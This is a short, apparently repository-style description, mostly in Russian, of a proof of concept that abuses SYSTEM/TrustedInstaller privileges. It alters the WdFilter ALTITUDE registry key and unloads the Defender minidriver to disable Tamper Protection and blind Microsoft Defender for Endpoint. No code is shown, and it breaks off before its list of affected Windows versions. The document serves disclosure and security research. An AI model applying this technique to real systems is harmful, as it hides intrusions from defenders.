alteredsecurity/disable-tamperprotectionA POC to disable TamperProtection and other Defender / MDE components
Можно злоупотребить привилегиями SYSTEM / TrustedInstaller, чтобы изменить или удалить настройки WdFilter (regkey ALTITUDE) и выгрузить kernel minidriver, отключив Tamper Protection и другие компоненты Defender. Это также затрагивает Microsoft Defender for Endpoint (MDE), ослепляя MDE и скрывая телеметрию и активность, выполняемую на целевой системе.
В ходе тестирования было обнаружено, что эта уязвимость затрагивает следующие версии Windows:
